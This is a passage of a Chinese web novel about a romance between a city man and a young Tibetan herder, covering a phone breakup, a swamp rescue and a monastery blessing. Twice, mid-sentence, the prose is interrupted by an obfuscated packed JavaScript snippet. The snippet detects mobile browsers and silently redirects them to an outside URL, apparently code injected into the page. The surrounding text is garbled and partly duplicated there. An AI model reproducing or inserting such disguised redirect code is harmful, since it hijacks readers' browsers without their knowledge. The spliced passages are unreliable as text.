电话那头是长久的沉默,只有细微的电流声和不稳的呼吸。沈翊不想给任何虚假的希望,率先开口,声音冷静得自己都陌生:“有事吗?” “对不起,沈翊,我……”江泽的声音沙哑哽咽。 “不必道歉。”沈翊打断他,江风把他额前的碎发吹乱,也把他声音里的最后一点温度吹散,“从你做出选择的那一刻起,我们之间就没有‘以后’了。你知道我的原则。” 电话里传来压抑的哭声。 如果是从前,沈翊或许会心软,会试图理清是非对错。但现在,他只觉得疲惫,还有一种清晰的厌恶,厌恶对方事后的纠缠,更厌恶自己心里竟还泛起一丝可悲的涟漪。他等着那哭声渐弱,才用更冷硬的语气说:“没有其他事的话,我挂了。以后,不必再联系。” “等等!”江泽急急喊住他,带着浓重的鼻音,“我们……我们那么多年的感情,你真的能说断就断吗?就不能……再给我一次机会?” “不能。”沈翊回答得没有丝毫犹豫,他看见尼玛旺堆和德吉次仁似乎结束了谈话,正朝车子走来,“江泽,好聚好散,别让我们之间最后这点回忆也变得难看。”说完,他不等对方再回应,干脆地按下了挂断键。手机屏幕暗下去,映出他没什么表情的脸。他深吸了一口清冷而带着泥土腥气的江风,将心头那点残存的波澜强行压下去,转身往回走。 回到车上,德吉次仁已经恢复了那副漫不经心的样子,敏锐的目光在沈翊脸上扫了一圈,八卦之心毫不掩饰:“刚才是……前男友?” 尼玛旺堆已经发动了车子,闻言,握着方向盘的手似乎紧了紧,目光依旧看着前方,但沈翊能感觉到,他的注意力完全在了这边。 沈翊无奈地叹了口气,对着德吉次仁点点头:“什么事情都逃不过你的眼睛。” “故事精彩吗?” “还行。”沈翊扯了扯嘴角,用最简略的语言概括,“初恋,奔着结婚去的,发现出轨,完了。”他一边说,一边用眼角余光注意着尼玛旺堆的反应。对方依旧沉默地开车,侧脸线条在移动的光影中显得有些冷硬,看不出什么情绪。沈翊心里那根紧绷的弦,稍稍松了些,却又有一种莫名的失落。 一直专注开车的人,忽然毫无预兆地开口,声音平稳地插入两个人的对话:“我姐会看点面相手相之类,不是迷信,跟心理学有点关系。所以,她不是故意探你隐私。”他这话像是解释给沈翊听,又像是在为德吉次仁开脱。 沈翊惊讶地看向德吉次仁。德吉次仁立刻举起三根手指,对着车前悬挂的小小金刚杵挂饰:“向强巴佛发誓,真是意外看到的,绝对不是故意算的!就下意识算了一下。”她眼里闪着真诚的歉意和好奇的光。 沈翊摆摆手,表示没关系。好奇心被勾起来:“怎么学的?” “小时候在寺庙住过。”尼玛旺堆替她回答,言简意赅,显然不愿多说缘由。 德吉次仁接口,语气变得认真了些:“我和我弟,对喜欢同性这事,没什么看法。人活一世,自己乐意又不伤人,那就是对的。”她说着,拍了拍旁边弟弟的肩膀。 尼玛旺堆的身体几不可察地僵了一下,他目视前方,喉结滚动,忽然冒出一句与前面话题毫无关联、甚至有些突兀的话:“但是,同性恋不能结婚。”他的声音不大,像是在陈述一个客观事实,又像是在对自己强调什么。 这句话让车内的气氛瞬间微妙地凝滞了。 德吉次仁猛地扭过头,瞪大眼睛看着弟弟,像是没料到他会在此时此地抛出这么一句。随即,她脸上浮现出一种又好气又好笑的表情,迅速从大衣口袋里摸出一块巧克力,以迅雷不及掩耳之势,直接塞进了尼玛旺堆半张着的嘴里。 “吃你的吧!我亲爱的弟弟,”她的动作带着亲昵的粗鲁,语气却满是调侃,“不会说话的时候,可以选择安静!” 尼玛旺堆被巧克力堵了嘴,耳根以肉眼可见的速度泛红。他含糊地唔了一声,果然不再说话,只是专注地看着前方的路,咀嚼着嘴里突然而来的甜腻,仿佛那里有什么需要他全力攻克的技术难题。 沈翊看着这一幕,先是愕然,随即,一股暖流夹杂着酸涩,缓缓漫过心田。德吉次仁的维护和开明,尼玛旺堆那笨拙的、近乎煞风景的“现实提醒”,都如此真实。 他靠在椅背上,望向窗外。夕阳正沉向远山,给无垠的荒原和零星的房屋镀上一层恢弘而孤寂的金红色。车子在笔直的公路上向着“家”的方向奔驰,车载音响里,悠扬的藏语歌谣依旧唱着那些他听不懂却觉得安心的曲调他知道,有些东西正在悄然改变,在他心里,或许,也在那个沉默开车、耳根泛红的青年心里。 前路依旧弥漫着高原特有的、清澈而凛冽的迷雾,逐渐把身后来自都市的、充满伤痕的来路,正在这歌声、夕阳和充满人间烟火气的琐碎争执中,一点点变得模糊,遥远。 19. 意外见真情 到家时,天已黑透。 冬日的西藏,白昼矜贵,夕阳一旦沉入群山,墨蓝的夜幕便迅速吞噬一切。 从拉萨带回来的疲惫,在踏入院门、闻到干牛粪燃烧的熟悉气味时,悄然消散。 大家默默卸下行李,阿妈米玛啦弯着已不太利索的腰,率先上楼去生火。没有人多说话,但一种无须言明的松弛弥漫开来,终究是回来了。 简单吃过晚饭,各自歇下。 沈翊躺在熟悉的、厚重的被褥里,听着窗外旷野传来的、比城市清晰百倍的风声,很快沉入黑甜乡。 梦里没有高楼,只有连绵的雪山和温暖的炉火。 次日清晨,他是被一种极致的寂静唤醒的。 睁眼望向窗外,天地间是一片朦胧的灰白,细密的雪花仍在无声飘落,将昨夜的世界彻底覆盖。 远处的山峦、近处的屋顶、院中堆积的牛粪块,全都裹上了一层蓬松晶莹的银装。 隔壁家的小孩裹成球,带着他家那只黄毛小狗在雪地里疯跑打滚,清脆的笑骂声和犬吠划破雪后的宁静,屋顶 上正在煨桑的老奶奶探出身,用藏语大声吆喝着,孩子却抱起小狗,嬉笑着跑远了。晨光就在这时,怯生生地穿透云层,给这洁白的童话世界镶上了一圈金边,也照亮了每个人脸上鲜活的笑意。 沈翊照例起得最晚。 他有些懊恼,却也感激这份包容。拿着洗漱用具下楼,却在院中撞见了德吉次仁。她只穿着单薄的毛衣,抱着手臂,怔怔地望着被雪覆盖的远山,金发在清寒的晨光中显得有些黯淡,脸上没有平日那种满不在乎的神采,反而笼罩着一层沈翊看不懂的凝重。更让他心里一空的是,往常这个时间总会提着热水壶出现的尼玛旺堆,不见踪影。 德吉次仁听到脚步声,回头看到他,什么也没说,只是默默挪开两步,让出水管前的位置。 她继续望着雪山,眉头微蹙,仿佛要从中盯出什么答案。忽然,她像下定了某种决心,转身快步冲回屋里,几秒钟后,又一阵风似的卷出来,身上胡乱套了件羽绒服,手里抓着头盔,直奔平时停摩托车的敞棚,那里竟还停着一辆沈翊从未见过的旧越野摩托车。她动作利落地打火,引擎发出粗粝的轰鸣,随即,人和车便冲出院门,碾过积雪,消失在村道尽头。 留下沈翊一个人,对着冰冷的水管和空荡荡的院子,满心茫然与骤然升起的不安。 他慢吞吞地用冰水洗漱,刺骨的寒意让他彻底清醒,也放大了那股莫名的心慌。 上楼时,阿妈米玛啦正围着火炉不停踱步,手里的念珠转得飞快,脸上的忧色浓得化不开。看到沈翊,她勉强挤出一个笑容,指了指垫子示意他坐,自己却焦灼地望向窗外。 语言不通的壁垒,此刻成了实实在在的焦躁。沈翊想帮忙,却发现自己能做的太少。他索性下楼,学着阿妈米玛啦平时的样子,给牛棚里那几头刚出生不久、还不能跟着大部队出去的小牛崽添了些干草。小牛湿漉漉的鼻子蹭过他的手心,温热的触感稍稍平复了一些不安。大的牛都不在,是尼玛旺堆一早赶去放牧了吗?可德吉次仁为何那样匆忙地追出去? 回到楼上,他安静地坐在阿妈米玛啦旁边,试着给她倒了一碗酥油茶。阿妈米玛啦接过来,拍拍他的手背,笑容依旧勉强,随即又起身走到窗边。 就在这压抑的等待中,那串熟悉的、属于都市噩梦的号码,再次执着地亮起了屏幕。江泽。 沈翊盯着那名字,只觉得一股厌烦直冲头顶。 他已经把话说得那样决绝,拉黑了一切联系方式,对方竟还能换个号码打来。人怎么可以如此没有尊严地纠缠? 他果断挂断。 铃声再响,再挂。 反复几次后,终于消停了,紧接着是一条长长的短信提示音。沈翊看都没看,直接删除,将这个新号码也拖入黑名单。动作干脆,心里却泛起一阵冰冷的疲惫。那场失败的感情,像一块总也甩不掉的陈旧膏药,即使撕掉了,黏腻不适的感觉仍在。 就在这时,院门被推开,阿妈米玛啦不知道是什么出去的,她带着一股寒气快步回来,身边还跟着一个冻得鼻子通红的小男孩,正是上次捡牛粪时,把自己那份倒给沈翊的懂事孩子。 阿妈米玛啦急促地对他说着藏语,小男孩一边吸鼻涕,一边转向沈翊,用生硬的汉语大声说:“尼玛哥哥,没有回来!阿姨怕……怕出意外了!” “意外”两个字像冰锥,瞬间刺穿了沈翊的胸腔。之前所有模糊的不安骤然凝聚成尖锐的恐慌。他猛地站起身,第一时间掏出手机,将实时定位发给了德吉次仁。 没有回应。 他想起德吉次仁匆忙骑走的那辆越野摩托。没有时间犹豫了。 他强迫自己镇定,蹲下身,双手按住小男孩冻得发僵的肩膀,看着他的眼睛,一字一句地说:“听好,你留在 这里,陪着阿妈米玛啦,哪里都不要去,等我回来。明白吗?” 小男孩用力点头,眼神里有超越年龄的认真。 沈翊冲下楼,直奔那辆停在角落、用于拉货的旧三轮摩托车。 钥匙就插在上面。他从未在雪地里开过这种车,但此刻也顾不上了。 三轮车发碾过积雪,冲出院门。 他凭着记忆和雪地上新鲜的车辙印,朝着尼玛旺堆往常放牧的湿地方向驶去。 寒风像刀子一样刮在脸上、手上,他只穿了件毛衣,很快冻得浑身发抖,牙齿不受控制地打颤。但他感觉不到 冷,所有的感官都被一个念头占据:找到他。 千万不能出事。 找到他。 湿地边缘,那辆熟悉的、尼玛旺堆常骑的摩托车孤零零倒在雪地里。 沈翊的心跳几乎停止。他扔下三轮车,翻过围栏,深一脚浅一脚地冲进被薄雪覆盖的草甸和灌木丛,大声呼 喊:“尼玛旺堆!德吉!你们在哪儿!” 回应他的只有呼啸的风声。 他记得这里有大片危险的沼泽,曾远远望见,泥泞不堪。 冬季表面被冻结,但下面呢?他被枯枝绊倒,摔在冰冷的雪泥里,手掌被划破,也浑然不觉,爬起来继续往前跑,声音已经嘶哑。 就在他快要被绝望淹没时,隐约听到了德吉次仁带着哭腔的呼喊。 他精神一振,拼命朝着声音方向奔去,又摔了两次,浑身沾满泥雪,狼狈不堪。 终于,他看到了他们。 一片看似平坦、实则暗藏杀机的沼泽边缘,尼玛旺堆大半个身子陷在漆黑的泥浆里,情况显然已持续了一段时间,他的脸色冻得发青,嘴唇乌紫,但眼神却意外地镇定,甚至还在努力对岸上焦急万分的德吉次仁说着: “阿姐,别慌,我没事,我能想办法……” 德吉次仁半跪在岸边,手里死死抱着一根粗壮的树枝,一端勉强递到尼玛旺堆手边,另一端压在自己身下,显然是用尽了全身力气在支撑,脸上全是泪痕,金发凌乱地沾着枯草。 看到沈翊出现的那一刹那,尼玛旺堆那双强作镇定的眼睛里,清晰地闪过了一丝愕然,随即是更复杂的情绪,难以置信,以及某种迅速漫上来的、让他喉头发紧的东西。 他没想到来的是沈翊,更没想到沈翊会是这副模样:头发凌乱,脸颊和手上都有擦伤,只穿着单薄的毛衣,在寒风里微微发抖,却不管不顾地朝他跑来,眼神里的恐慌和急切,比他深陷泥沼更让他心惊。 “沈翊?你怎么……”尼玛旺堆的话没说完。 沈翊根本没听,他的目光迅速扫过现场,看到了德吉次仁那根并不牢固的树枝支撑。他立刻解下自己来时顺手绕在腰间的粗麻绳,迅速打了个结实的套索,朝着尼玛旺堆用力抛过去:“抓住!套在腋下!” 他的声音因寒冷和紧张而紧绷,却带着一种不容置疑的决断力。那绳子在空中划过一道弧线,准确地落在尼玛旺堆手边。尼玛旺堆深深看了沈翊一眼,冻得不太灵活的手,费力地抓起绳索,依言套好。 “德吉,你稳住树枝!尼玛,抓紧!我拉你!”沈翊朝着手心哈了口热气,不顾冰冷和湿滑,双脚死死蹬住地面一块凸起的树根,身体后倾,用尽全身力气开始拉扯。他的手臂因用力而剧烈颤抖,额角青筋凸起,平时略显苍白的脸此刻涨得通红。 尼玛旺堆配合着用力,借着绳索和树枝的支撑,一点一点将自己从冰冷黏稠的泥沼中拔出来。 每一次用力,他都看到沈翊咬紧牙关、拼尽全力的样子,看到他因低温而泛红的眼眶里,那份不容错辨的惊惧和坚决。 这种不顾一切要将他拉回安全地带的姿态,像一股滚烫的热流,猛烈地冲击着他因寒冷和被困而有些麻木的心脏。他从未被人这样紧张过,这种紧张,超越了对客人的责任,甚至超越了对朋友的关切。 他知道自己似乎从初见时就做错了。 终于,在德吉次仁的配合和沈翊几乎脱力的拖拽下,尼玛旺堆脱困,踉跄着爬上了坚实的地面,浑身上下裹满了恶臭的泥浆,狼狈不堪。沈翊也因骤然松力,向后跌坐在地,大口喘着气,冰冷的空气刺痛肺叶。 德吉次仁瘫坐在地上,看着弟弟安全了,一直紧绷的神经骤然松弛,后怕和愤怒一起涌上来,她猛地扑过去,狠狠捶了尼玛旺堆肩膀几下,声音哽咽:“你吓死我了!知不知道这有多危险!牛掉进去都难救!”她最后更是用力扇了他胳膊一巴掌,眼泪又涌出来,“不管你长多大,我都是你姐!” 尼玛旺堆任由姐姐发泄,目光却不由自主地飘向旁边瘫坐着喘息的沈翊。沈翊也正看着他,两人视线在空中交汇。尼玛旺堆看到沈翊眼里尚未褪去的余悸,以及看到他安全后,那悄然松弛下来的、如释重负的神情。沈翊 则看到尼玛旺堆泥污掩盖下,那双异常明亮的眼睛,正深深地、复杂地凝视着自己。 尼玛旺堆的心,就在这片冰冷泥泞的沼泽边,不合时宜地、重重地跳了一下。为了那双为他盛满惊恐和后怕的眼睛。 德吉次仁起身去捡拾枯枝,很快生起一小堆火。三人围着微弱的火源取暖,沉默地处理身上的狼狈。德吉次仁给家里报了平安。等身体暖和些,太阳也升高了,他们仔细熄灭火堆,相互搀扶着,慢慢往回走。 家里的阿妈米玛啦早已望眼欲穿,见到他们回来,尤其是看到尼玛旺堆一身泥污但完好无损,眼泪瞬间就下来了,拉着他们上下检查,直到确认真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182992|196977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没事,才捂着胸口,长长舒了口气。 这一晚,家里的气氛有些微妙。尼玛旺堆显得异常“活跃”,他拿出扎木念,弹唱了好几首曲子,比往日更加卖力,像是要驱散什么,又像在表达什么。 阿妈米玛啦坐在老位置,转着经筒,神情终于安宁。 唯有德吉次仁,始终沉默地忙前忙后,做好了饭,照顾母亲吃完睡下,便早早回了自己房间,紧闭房门。 沈翊有很多疑问,关于尼玛旺堆为何会陷入沼泽,关于德吉次仁早上的异常,关于这个家庭水面下似乎涌动的暗流。 但他以什么身份问呢?一个暂住的客人,一个被卷入意外的好心人?他只能将疑惑压在心底,默默观察。 夜深人静。沈翊躺在熟悉的黑暗里,疲惫的身体渴望睡眠,精神却异常清醒。他能清晰地听到对面床上,尼玛 旺堆辗转反侧的声音,布料摩擦着垫子,久久不停。 终于,沈翊忍不住,对着黑暗轻声开口:“怎么了?”话一出口,他就有些后悔,这似乎越界了。 对面的动静停了。过了好一会儿,尼玛旺堆沉闷的声音传来,带着一种少见的迷茫和沉重:“死亡。” “我在想死亡。” 沈翊一怔,猜测道:“因为今天的事?” “不是。”尼玛旺堆翻了个身,面对沈翊的方向,尽管黑暗中彼此看不清,“是因为……疾病。” 沈翊立刻明白了。阿妈米玛啦日渐虚弱的咳嗽,讳疾忌医的固执,还有德吉次仁在车上那句决绝的样子……沉重的像巨石,压在他的心头,这个看似总是沉稳可靠的年轻人,内心其实一点也不轻松。 沈翊沉默了。 他搜肠刮肚,想找出几句像样的安慰,却发现任何话语在此刻都显得轻飘无力,甚至有些虚伪。他从未经历过至亲可能离去的恐惧,他那糟糕的原生家庭,甚至让他对“亲情”的概念都有些扭曲。他有什么资格去安慰一个与母亲相依为命的人? 长久的沉默在黑暗中蔓延,只有窗外寒风永不止息地呜咽,吹得窗户外微微作响,更添寂寥。 忽然,对面传来窸窣声,随即,“啪”一声轻响,温暖的橘黄色灯光驱散了黑暗。 尼玛旺堆坐了起来,他只穿着贴身的衣物,外面随意披着棉衣,走到书桌边坐下,从一堆书籍中抽出一本小小的、巴掌大的笔记本,又拿起笔。 沈翊也坐起身,默默地看着他的背影。 灯光下,尼玛旺堆的肩膀宽阔,脊背挺直,但微微低头的姿态,却透出一种罕见的、属于年轻人的脆弱感。 他没有邪念,只是被一种沉重而温柔的情绪攫住。这个在雪原上像山一样可靠,在沼泽里也努力保持镇定的青年,此刻正被关于失去的恐惧静静啃噬。 尼玛旺堆在纸上快速画着什么,过了几分钟,他转过身,将那张纸递到沈翊面前。 纸上,是大片压抑的浓黑,只在中间,留出一条窄窄的、像哈达一样蜿蜒的惨白小路。小路两旁,是用不同颜色勾勒出的、面目模糊却姿态狰狞的佛像轮廓,挤在黑暗中,仿佛在注视、在等待。画面充满了一种原始而强烈的精神压迫感。 “这是我二姐……以前梦到过的。”尼玛旺堆的声音很轻,像怕惊扰什么。他从书堆深处,翻出一个更旧、更小的笔记本,递给沈翊。 沈翊接过,就着灯光翻看。里面是稚嫩但充满灵气的笔迹,有短短的文字,更多的是古怪又可爱的简笔画。他看到了那句关于“活不过几岁”和“肆意一点”的话,看到了对灵魂与转世的迷茫诘问。最后一页,正是尼玛旺堆刚才所画图案的雏形,旁边还有几行藏文,他看不懂,却仿佛能感受到书写者当时的恐惧与探寻。 二姐的形象,通过这小小的笔记本,在沈翊心中模糊地立了起来:一个敏感、早慧、与周围环境格格不入,最终像流星般早早逝去的少女。 他也瞬间理解了德吉次仁某些言行下的阴影,理解了尼玛旺堆此刻对“疾病”与“死亡”近乎执拗的思考从何而来,那不仅仅是母亲的病,更是早已刻入这个家庭记忆的、关于失去的伤痕。 一种强烈的冲动,毫无预兆地击中了沈翊。 在他自己都没反应过来之前,他已经放下了笔记本,伸出手臂,隔着书桌和灯光,轻轻抱住了坐在椅子上的尼玛旺堆。 这个拥抱没有任何狎昵的意味,更像是一个温暖的、笨拙的庇护姿势。 沈翊能感觉到手掌下,尼玛旺堆瞬间僵硬的背脊肌肉,能听到他骤然停滞的呼吸。 他什么安慰的话也说不出来,只是这样静静地抱着,试图用自己的体温,去驱散对方周身那层看不见的、源于记忆和未来的寒意。 几秒钟后,或许是更长的时间,沈翊感觉到掌下的僵硬,开始极其缓慢地、一点点地软化下来。 尼玛旺堆没有动,也没有推开他,只是依旧保持着那个微微前倾的坐姿,任由这个突如其来的拥抱将他包裹。 灯光将两人依偎的影子投在墙壁上,沉默无声,却仿佛有什么东西,在这雪夜清冷的空气中,悄然改变了质 地,变得更加紧密,更加难以分割。 窗外的风,似乎也小了些。 20. 顶礼膜拜与烟供 次日清晨,一种心照不宣的静默笼罩在两人之间。 昨夜灯下的拥抱,像一片轻盈却坚实的雪花,落在彼此心湖,尚未融化,也未被提及。 沈翊是不敢提,怕吓到对方。 尼玛旺堆不敢提,是他对自己的感觉拿捏不定,他不知道爱是怎么表现的。 沈翊洗漱时,尼玛旺堆恰好提着热水壶进来,两人目光在氤氲的水汽中短暂相接,又迅速错开。 尼玛旺堆将热水注入脸盆的动作比往常更稳,仿佛在专注于一件极其重要的事,只是耳廓那抹未褪尽的微红,泄露了平静下的波澜。 沈翊低头掬水,冰凉与温热交织的触感,让他想起昨夜掌心下对方背脊由僵硬到柔软的转变。 早餐刚过,德吉次仁便风风火火地催促大家上车,神色间有种难得的郑重。 直到车子驶向日喀则扎什仑布寺,沈翊才明白,今天是十一世.□□.大师,来到扎什伦布寺的日子。特殊的时刻,寺庙不对普通游客开放,只留出一条通道,供信众排队接受的摸顶赐福。 车只能停在很远的地方。 尼玛旺堆去停车,沈翊跟着德吉次仁和阿妈米玛啦,汇入通往寺庙的人流。 空气中有种节日般的期待与肃穆交织的气息。 早已到达的人们面容平和,带着一种近乎餍足的宁静,仿佛愿望已被提前允诺。 停车场被临时栏杆分割成曲折的通道,人潮缓慢蠕动。男女老少,衣着或传统或时尚,无一例外地耐心等待着。有人举起手机,很快被维持秩序的民警温和制止。 沈翊安静地站在德吉次仁身侧,观察着这片信仰的海洋。 当尼玛旺堆停好车,穿过人群找到他们,将几条崭新的淡黄色哈达分到他们手中时,沈翊注意到,他的目光先是在自己脸上停留了一瞬,那眼神很深,带着一种沈翊无法完全解读的沉静,仿佛在确认什么,又仿佛在无言地分享着某种庄重的情感。 队伍移动缓慢,不时有老人从侧面挤入队列。 德吉次仁对此见怪不怪,只淡淡有些幽默的解释为“虔诚的急切”。 尼玛旺堆轻轻碰了碰姐姐的肩膀,像是觉得这说法过于直白。 沈翊在拥挤中感受到的不是烦躁,而是一种奇异的“热度”,不是体温,是无数份集中而强烈的愿力所形成的场域,让他这个无神论者既感到陌生,又无法完全抽离。 他下意识地朝尼玛旺堆靠近了半步,似乎在这个充满未知精神力量的空间里,身旁这个笃定的青年成了唯一可辨识的坐标。 尼玛旺堆察觉到了他细微的靠近,身体没有动,握着哈达的手却几不可察地收紧了。 进入寺庙区域后,空间开阔了些。 几乎每个人手中都捻着佛珠,口中低声诵经,漫长的等待因此变得充实而非枯燥。沈翊看着那些专注的侧脸,年轻的、年老的,那种全身心交付的虔诚,让他心底掠过一丝难以言喻的震撼,一种发自内心的震撼。也有一丝对于如此巨大精神凝聚力的本能敬畏。 尼玛旺堆走在他斜前方半步,偶尔回头看他一眼,眼神平静,仿佛在无声地问:还能跟上吗?理解吗?沈翊回以轻微的点头,在那平静的目光里,奇异地找到了一些安定。 拐角处,一位穿着便服、明显是汉族的女.警,正用生涩的藏语引导着人流,“木拉,你们从这边走走……” 一位白发苍苍、拄着拐杖的老奶奶笑着从她面前经过。 周围不少藏族人听到女警的藏语,脸上露出善意而有趣的笑容,低声交谈着。 德吉次仁笑着翻译给沈翊听:“他们在说,看那位不用拐杖的老阿妈都能走,我们这些才四十出头就头发花白的,可不能输。”轻松的话语缓和了排队的沉闷。 不久,他们看到几位腿脚不便的老人被工作人员请上了等候的客车,专门送他们上了年纪,腿脚不便的老人。 阿妈米玛啦望着,轻声说了句藏语,尼玛旺堆低声告诉沈翊:“阿妈说,这样的安排,心是暖的。还说,感谢国.家,感谢主.席.感谢□□.大师”沈翊看着那温暖的一幕,又看看身旁目光柔和的尼玛旺堆,心里某个地方也跟着软了一下。 队伍行至四.世.转.世.灵.塔.附近,一位僧人走过来,对阿妈米玛啦说了些什么。 阿姨看向尼玛旺堆,尼玛旺堆会意,从随身布袋里又拿出几条哈达分给大家。原来,是提醒未准备哈达的人可以在此请购。 沈翊接过哈达,丝绸的质感细腻冰凉,他学着尼玛旺堆的样子,仔细整理着边缘。尼玛旺堆看着他有些笨拙却认真的动作,嘴角微微牵动了一下,那不是一个笑容,更像是一种无声的赞许。 穿过一条狭窄的巷道,两侧是高耸的红白殿墙。不知是以前是谁开的头,一些人将手掌按在红墙上,再印到白墙上,留下一个个淡红的掌印。这略显童稚的行为出现在寺庙有点神奇,形成一种奇特的对比。这是时间留下的痕迹。 沈翊没有动,尼玛旺堆也没有,他们只是静静看着那些重叠的印记,仿佛那是无数颗心曾在此驻留的证明。 漫长的等待终于抵达终点。 在殿门口,沈翊看到前面一位老人颤巍巍地跪下,行了完整的大礼。 一位年轻女孩则捧着一个普通的铅笔袋,请求加持。 轮到他时,他被引导着微微俯身。 那一刻,时间仿佛被拉长、放大。 身后僧侣低沉而洪亮的集体诵经声如同潮水般涌来,并非刺耳,却带着一种浑厚的、直达胸腔的共振力量,瞬间淹没了所有杂念。 他并非信徒,却在这纯粹的音浪与仪式场中,感到一种前所未有的、接近于“肃穆”的真空状态。仿佛有光,并非肉眼可见,却笼罩周身。 起身离开时,他听到身后传来压抑的啜泣,那是喜悦的泪水。 分发加持过的红绳时,阿妈米玛啦只取了一根,小心收好。 沈翊问为何不多拿些纪念,尼玛旺堆笑了笑,说家里很多,并打趣道:“网上有人说这像明星应援物。”但他随即收敛笑意,看着远处依旧蜿蜒的长队,轻声说:“留给更需要的、从更远地方来的人吧。” 沈翊顺着他的目光望去,人潮涌动,每一张脸上都写着不同的故事,却朝着同一个方向。他忽然模糊地想,这种虚无缥缈的东西也许应该用一句词来描述——信仰。 而此刻,站在他身边的尼玛旺堆,正是这宏大与具体、古老与现代交织的世界里,一个如此真实、鲜活又复杂的交叉点。 午后,他们去转山。 德吉次仁一边爬坡一边开玩笑,说这是祖先督促子民锻炼的智慧。 沈翊气喘吁吁,再次感慨于当地人的体能。 尼玛旺堆始终走在他身侧,步伐稳健,在他明显吃力时,会不动声色地放慢脚步,或是指点一个更省力的落脚点亦或是偷偷的拉他一把。 上山前,德吉次仁换了许多零钱,沿路布施。 沈翊对其中一些乞讨者的真假表示怀疑,不解的问她,“他们的证件一看就是假的。”“是啊,”德吉次仁说,“就算是假的,他们能忍受别人异样的目光,用自己的脸面来乞讨,无论是真的还是假的,我有点多余的钱,给就给了吧。” 然后又十分潇洒的补充道地说:“他们敢伸手,我就敢给点零钱,就当买份自己心里舒坦。” 看着有些人他们避之不及,有些人却赶着上去给钱。 这世道也真是有趣。 尼玛旺堆对此不置可否,但在一位磕长头的朝圣者经过时,他迅速而自然地将几张纸币塞进了对方行囊的缝隙。 沈翊看着他的动作,那侧脸在高原的阳光下显得格外清晰,专注而平和。 这个举动里没有任何施舍的高傲,只有一种同行者般的、朴素的共情。沈翊的心,像被羽毛轻轻拂过,泛起细微而持久的涟漪。 下山时,沈翊累得几乎不想说话。 尼玛旺堆走在他后面半步,偶尔在他踩到松动的石块时,会迅速伸手虚扶一下,尽管并未真正触碰到,那股随时准备承接的力量感,却比任何搀扶都更让沈翊感到安心,甚至有一丝隐秘的贪恋。 回到家,阿妈米玛啦早早歇下。 第二天是个晴天,德吉次仁找到独自在院中晒太阳的沈翊,开门见山:“你喜欢我弟弟吗?” 沈翊完全没料到如此直接的提问,愣住了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182993|196977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 德吉次仁却在他回答前摆了摆手,作势要走,仿佛只是随口一问,并不真要答案。就在她转身的瞬间,沈翊听见自己清晰的声音:“是,我喜欢他。” 德吉次仁停下脚步,回过头。 那眼神极其复杂,有早有预料的了然,有一闪而过的沉重,最终化作一句叹息般的嘱咐:“对他好点。他……有时候挺傻的。”说完便匆匆离开,留下沈翊一人对着空旷的院落,心跳如鼓,既为终于说出口而松快,又因她那意味深长的眼神而莫名不安。 下午,他照例跟着尼玛旺堆去放牛。 路过那片曾发生意外的沼泽时,沈翊下意识地紧张,一把抓住了尼玛旺堆的手腕。 尼玛旺堆停下,低头看了看沈翊抓着他的手,没有立刻挣脱,而是用另一只手轻轻拍了拍他的手背,力道温和而肯定。“放心,不去那边。”他的声音很低,带着一种安抚人心的沉稳。等沈翊松开手,他才自然地收回手臂,但手腕上那短暂的、被用力握住的触感,却残留着温度,一路烫到他心里。他带着沈翊去了他们惯常休息的向阳坡地。 天气晴好,尼玛旺堆提议去河边走走。还是那辆旧电动车,他载着沈翊,沿着车辙明显的土路缓缓前行。 河边,他们遇到了上次为猫咪举行水葬的女孩,她正和另一个朋友站在那里,指着某处低声说着什么。 女孩认出了沈翊,但对尼玛旺堆充满警惕。 尼玛旺堆直白地问她为何又来这“伤心地”。 女孩的反应激烈而悲伤,她控诉着无人理解她所“看见”的东西,学校的心理医生认定她是“臆想”。她哭着喊:“你们看不见,就说不存在!那什么是真的?!” “他死了,不回再回来,没必要伤心。”沈翊试图安慰他,却让女孩更加激动,最终拉着朋友跑开了。 尼玛旺堆站在原地,眉头紧锁,望着女孩消失的方向。沈翊看着他沉静的侧脸,忽然觉得,尼玛旺堆或许并不完全认为那女孩在胡说。他身上有种与这片土地一样的气质:对无法用常理解释的事物,保持着一份谨慎的沉默,而非武断的否定。 回去后,他们将这事告诉德吉次仁。 她详细询问了女孩的样貌,若有所思地点点头,走到一边打了个电话。尼玛旺堆用藏语跟阿妈米玛啦说了几句,阿姨轻声叹息,说了句什么。尼玛旺堆翻译给沈翊:“阿妈说,有些人,眼睛是和我们不一样的。”这句话说得平淡,却让沈翊感到对未知的敬畏。 晚上,德吉次仁做了一件特别的事。 她拿出一块白色布料,在上面焚烧一种气味刺鼻的东西,然后打开窗户,将冒着烟的香炉放在窗外。“这是给那些找不到路的‘人’的。”她解释道,“汉语应该叫烟供,材料是糌粑、酥油、糖、藏红茶等等具体材料可以根据而添加,但不能少。是以烟雾的形式供养鬼神,晚上的这个主要是给孤魂野鬼与其他的亡者。” 沈翊听得后背发凉,下意识地朝尼玛旺堆坐的方向靠了靠。 尼玛旺堆正低头看着手中的茶杯,氤氲的热气模糊了他的表情。 他似乎察觉到了沈翊细微的动作,抬起眼,目光越过袅袅的藏香烟雾,与沈翊有些不安的视线对上。 那一刻,尼玛旺堆的眼神很深,没有嘲笑他的些许胆怯,也没有刻意渲染神秘。 那目光里,有一种沉静的包容,仿佛在说:你看,这就是我们世界的一部分,有阳光照耀的草场,也有月光下看不清楚的影子;有可以触摸的温暖,也有无法言说的存在。而此刻,我们同在屋内的光明与温暖之中。 